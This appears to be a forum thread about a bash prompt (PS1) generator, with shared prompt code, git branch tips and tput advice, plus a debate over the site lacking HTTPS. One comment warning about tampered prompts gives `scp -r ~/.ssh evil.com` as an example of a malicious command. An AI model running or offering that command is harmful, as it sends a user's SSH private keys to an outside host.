Seeing '>' as an option makes it somewhat relevant to mention here: I'd recommend not ending your prompt with a '>' character (as you'd see in DOS/Windows a lot, which might make it seem like a nice option). If you accidentally copy and paste your prompt with a command after it, (which is easy to do with a couple mouse clicks, or if you forget what's in your clipboard after copying some lines from your terminal,) the first thing after the > sign is the file for a script or executable and you will truncate the file (make it 0 bytes). This can be especially bad if you're root at the time. (That makes # as a root prompt especially a good idea.)
In case someone wonders, this does retain the repeated "+" to indicate call depth: "The first character of PS4 is replicated multiple times, as necessary, to indicate multiple levels of indirection." -- this is an important feature when working on large-ish (1-10+k LoC) scripts, which end up having very deep call stacks and a flat trace output would be completely inscrutable.
Overall it's more like 150k LoC or something like that (split into the classic three layer architecture: "scripts", "library" and "more scripts on top"). It does work though. Much better than you'd expect from hearing "tens of thousands of lines of shell".
I was moved to experiment with Fish shell one day, and wanted to see how to set my prompt. Answer: you create a function named `fish_prompt` that uses regular shell commands like `echo` (and fish's own `set_color`) to imperatively build the prompt. Want to make a right-hand prompt for something like the current time? Write a function named `fish_right_prompt`. For example, here's mine:
function fish_right_prompt --description 'Write out the right prompt'
set_color 666666
date +'%Y-%m-%d %H:%M:%S'
set_color normal
end
I was sold. I'm never, ever going back to futzing around with a bunch of complex $PSx variables when I can just write a function that does the right thing.
Note that in bash there is the PROMPT_COMMAND variable, which runs before the prompt is printed and which can be used to print things and to set PS1 if you want more dynamism than bash more directly affords.
For a "right prompt" showing the time in particular, though acknowledging it'll get overwritten if you're writing a long command (which may or many not be what you want), running `printf "%${COLUMNS}s" "$(date)"` from PROMPT_COMMAND does the trick.
I think the drag-n-drop UI is less intuitive. Wasted a few minutes trying to click these items as "buttons" and wondering if there's something wrong because of the http-onlyness of the site (console gives a lot of warning).
Shame is not single click, I thought it was broken on mobile because nothing happened when I click, then I knew it doesn't work on mobile when I realised it's drag and drop.
* angel-PS1 [1]: my pet project. Shell prompt code is generated at startup time from Perl code, and uses a Perl angel (not daemon) to get system information.
There's one prompt in ZSH, the adam2 prompt[1], that I completely fell in love with due to the automatic horizontal rule since it makes tracing histories so much easier when dealing with long-scrolling outputs. I've never been able to find a similar feature in another prompt/shell, nor have I had the inclination to try and replicate it, but I'd be much more inclined to switch shells/try new prompts if that were available.
You need to add some \[ and \] around the escape codes to tell the shell they’re non-printing characters. Otherwise, things like line-wrapping don’t work right. It’s not a problem because of your \n makes it irrelevant, but just a heads up for the future.
current git branch is missing (helps me to avoid working on the wrong branch). (tried to do it with colors, but things got too messy). I never managed to work with colors in bash propmts; they look different on each environment.
You might want to use `git rev-parse --abbrev-ref HEAD` or `git name-rev --name-only HEAD` instead of `git branch`. Plumbing commands (such as rev-parse or name-ref) are generally more interface-stable to use in a script than porcelain commands (such as git branch) which are designed for interactive use where output may change depending on user environment and configuration.
I’ve heard this advice given before and initially followed it but ‘git branch’ and parsing the output works in a few cases (I don’t recall what they are at this time) that less hackey approaches don’t.
I think that might be `git symbolic-ref` which doesn't work in detached HEAD state (e.g. when checking out a commit) whereas `git rev-parse --abbrev-ref` will print "HEAD". On the other hand, `git name-rev` will try to find the nearest named ref (including tags) and how far HEAD is from that named ref (e.g. master~1).
Internally, symbolic-ref resolve the ref in the same way as git branch, just without handling detached HEAD. __git_ps1 use a combination of rev-parse, symbolic-ref and git describe to provide a more interesting output for displaying state of the working directory.
To have the similar output for detached HEAD as git-status (e.g. "HEAD detached at fa0c4e1") then probably `git rev-parse --abbrev-rev` and `git rev-parse --short` should be used together. Unfortunately, while rev-parse can print multiple output in a single command, abbrev-rev and short cannot be used together. In such case, parsing `git status` might indeed be more suitable as it spawn only one executable instead of two.
Some porcelain commands do have --porcelain flag to ensure the stability of the interface, though (e.g. `git status --porcelain=v1`).
function __col1_ps1 {
[[ $MC_SID ]] && return
local termios cur_y
# ask the terminal for any pending (line buffered) input
termios=$(stty --save) && stty -icanon && stty "$termios"
# if there's pending input, assume it's been echoed and we're not in first column
# otherwise ask the terminal for current column and read it from input
if read -t 0 || { IFS='[;' read -s -r -d'R' -p$'\033[6n' _ _ cur_y && [[ $cur_y != 1 ]]; }; then
echo $'\001\033[41m↵\033[m\002\n\001\r\002'
fi
}
PS1='$(__col1_ps1)<the rest of my prompt>'
I agree. If the maintainer is here, you can use certbot to add HTTPS easily on your existing Apache 2/Debian stack. If you're on Stretch or Buster the official instructions are the same: https://certbot.eff.org/lets-encrypt/debianstretch-apache
One note: I hate snaps and don't use them personally, but it would make it very easy for you to add HTTPS without changing your existing stack.
I assume they are saying that because you wouldn't want something where someone could do a MITM and insert arbitrary bash commands through $() or other similar things
If the outputted prompt contains something like `scp -r ~/.ssh evil.com`, folks may not notice or be savvy enough to recognize that it is malicious. A MITM attacker could quite easily implement this.
I wrote my PS1 in Python once, but on review it turned out much better to have it completely in shell:
set_PS1()
{
local RESET=$(tput sgr0 )
local BOLD=$(tput bold )
local RED=$(tput setaf 1 )
local GREEN=$(tput setaf 2 )
local YELLOW=$(tput setaf 3 )
local BLUE=$(tput setaf 4 )
local MAGENTABG=$(tput setab 5 )
local CYAN=$(tput setaf 6 )
local WHOAMI='\u'
local WHERE='\w'
local HOSTNAME='\h'
local DATE='\D{%Y-%m-%d %H:%M:%S}'
local LAST_RET='${?#0}'
local LINE_1="$YELLOW$DATE $GREEN$WHOAMI$RED@$CYAN$HOSTNAME $BLUE$BOLD$WHERE$RESET"
local LINE_2="\\[$MAGENTABG\\]$LAST_RET\\[$RESET\\]"'\$ '
PS1="$LINE_1\n$LINE_2"
unset -f set_PS1
}
set_PS1
Starship is the only prompt I've used that has (a) sane defaults, (b) cross platform support as well as ease of installation, and (c) good enough speed. Powerline is much slower, and I lose my serenity everytime I have to fiddle with dotfiles.
Contrary to Starship, angel-PS1 gets all static information at startup time (ex: hostname, username) and rebuilds only the dynamic information. And for that dynamic information it uses an angel companion instead of forking and loading the configuration file for every prompt display.
It can be configured and the default has to be something. The main problem is that it’s just too slow, at least in my experience. Even stripped of some bloat it can take >1s to get the prompt printed. Not worth it, at all.
I've made something similar to this too, I wanted to be able to change the colours and preview so it ended up being a bit of a rabbit hole, but was fun!
I don’t see a ‘#’ option there. It’s a valuable command line inclusion to keep copypasta from executing something you may not intend. Also, the ability to check what branch I’m in (assuming cwd is in a git repo) is a useful prompt inclusion.
This. The one time a month when I can't remember which git branch I'm on I'll just run 'git branch'. If you're feeling frisky, you could even alias that to 'gb'.
One time a month? Currently I have 85 work related repositories checked out, putting the current git branch and current Kubernetes context in the prompt is helping to avoid mistakes.
I also have a newline in my prompt which makes it easier to copy commands and output into Jira.
I don't have 85 repo but 5 worktree were enough to make me do some errors, so I print the 'environment' configured and the current path but that wasn't enough so now I 'invert' the colors if the current directory doesn't match the environement variables --> no more errors
tput query a terminfo database and return an escape code suitable for that $TERM. sgr0 is the name for "reset" (e.g. "\033[0;10m" in ANSI). Using tput instead of escape code directly is better in a lot of ways. For example, it allows the shell script to be adaptive to the type of TERM it runs on (e.g. not outputting color codes at all if TERM doesn't support colors).
You can see what each tput commands are doing by running infocmp. Most TERM implement ANSI-compatible escape codes, but may prefer other escape codes for the same effect (e.g. try comparing `infocmp -1 ansi` and `infocmp -1 xterm` and `infocmp -1 screen`). You can see the entire list of these commands in terminfo(5) (`man 5 terminfo`) in Predefined Capabilities section.
tput uses the terminfo database which is usually located in /usr/share/terminfo.
If your terminal ($TERM) is not known to the operating system, you can also import the terminfo definition from another OS in a directory and point the TERMINFO environment variable to it (useful if the legacy OS you connect to via SSH doesn't have full support for your fancy terminal emulator).
Rather than turn off all attributes with "tput sgr0", instead I Save Cursor with "tput sc" at the beginning to save attributes, and Restore Cursor with "tput rc" at the end to restore attributes.
Save and Restore cursor doesn't always work because I don't necessarily need the vertical position restored, for example:
`tput sgr0` reads terminfo to find out how to issue a command which resets all currently set colors, text properties, and so on, then resets them. A lot of people will do something like `echo -e '\E[32;46m'`, but that's arguably more opaque and definitely not portable across terminals.
tput is a neat command that I wish got used more! I also use `tput cnorm` to ensure the cursor is visible.
I think there's a bug, at least in Firefox. When you drag to remove an element from the currently active set, the "sample output" only updates after making _another_ change. So if you drag to remove two elements one-at-a-time, the "sample output" will lag one action behind what you have in the workspace.
To elaborate, when I say "cluttering," it's not really performance I'm after. Of course I realize that yet another small key value pair in a hashmap matters very little. Rather, I'm thinking in terms of debugging and - worst case - weird side effects.
When I debug something I'm not helped by the environment being filled with unnecessary crap, in much the same way I don't particularly declare a bunch of irrelevant global variables in my programs.
In the worst case, a leaking environment may cause problems. What if another interactive shell process is spawned by a sub shell, and suddenly your prompt that queries your mail server, double checks if there's new stuff in GitHub, fetches the next ten days' weather and renders hamsterdance in your prompt using a hacked font or whatever is inherited (except that now maybe it runs as root). Unlikely? Yeah, sure. Still unnecessary.
In the end though, I suspect many people just aren't aware of the difference between exporting a variable and not, and somehow think that "to declare a variable in a shell you must type export".
While https is a good default, and LetsEncrypt has made it relatively trivial, I wouldn't say this particularly needs it; there isn't any user data at all.
I suppose without TLS it could be intercepted and modified to return a malicious bash command, or something, but this random site on the internet could do that on its own without being intercepted anyway.
> I wouldn't say this particularly needs it; there isn't any user data at all.
I use NoScript. This page requires me to enable JavaScript for it to work. Because it doesn't use TLS, this allows any miscreant in the middle to injected JS doing god-knows-what into my browser.
If you really insist (in this case IMO understandable) on having me download and run your program, written in a turing complete scripting language, please let me do so in a way where I can be sure it is actually your program (assuming I trust you that far; which for most people I don't, hence NoScript).
Wiktionary is a website that has improved functionality after turning on JavaScript, but works just fine without it. It does not insist on using JavaScript.
I guess what you actually mean is "no one is insisting on me looking at their website"? That would be true, but I don't recall making any contrary claims.
If I do want to look at a website, the site insists on using JavaScript, but does not use HTTPS, that can be a security issue. That's what my original comment tries to point out.
> I wouldn't say this particularly needs it; there isn't any user data at all.
> I suppose without TLS it could be intercepted and modified to return a malicious bash command, or something
A hacked version doesn't have to return a variation of what's on the page already. There's lots of sneaky things you could return, like a malware download pretending to be a Bash PS1 setup script, a fake GitHub based sign-up to harvest login details, a payment form for a fake product, or a simple redirect to another malicious site.
Always having https removes the need to consider the security implications of unencrypted transport on case-by-case basis.
I have been using HTTPS Everywhere extension and currently Firefox's HTTPS-Only feature in strict mode for a long time. Nowadays few links fail to work for me, so the failing ones stand out.
(I use the :where(…) wrapping so that any site actually trying to use :link::after for real stuff can override my styles without specificity conflicts.)
It’s interesting especially to see how often https: sites have http: links to their own domain, which are just going to get redirected back to the https:. (The HN footer has the “Legal” and “Apply to YC” links being to http://www.ycombinator.com/* for no good reason, a very similar case.)
And how horribly many emails use http: tracking links, and how painfully many of those domains don’t speak HTTPS.
HN’s front page normally has 0–2 out of 30 of the links being HTTP, almost always old domains. It’s fairly rare for a new site to go plain HTTP.
> I suppose without TLS it could be intercepted and modified to return a malicious bash command, or something, but this random site on the internet could do that on its own without being intercepted anyway.
Those are two completely different attack surfaces. You should be able to trust a single site without having to trust every other hop on the Internet and a good reason why TLS should be used here.
This is a website which serves the sole purpose of encouraging people to copy snippets of text and paste them into their terminal, and there are plenty of techniques that ensure what you see on the page isn't what gets into your clipboard.
I leave the one on remote hosts the same. I work mostly on a terminal in my laptop locally and mostly just have the time and the command number listed so I can see things in the scrollback.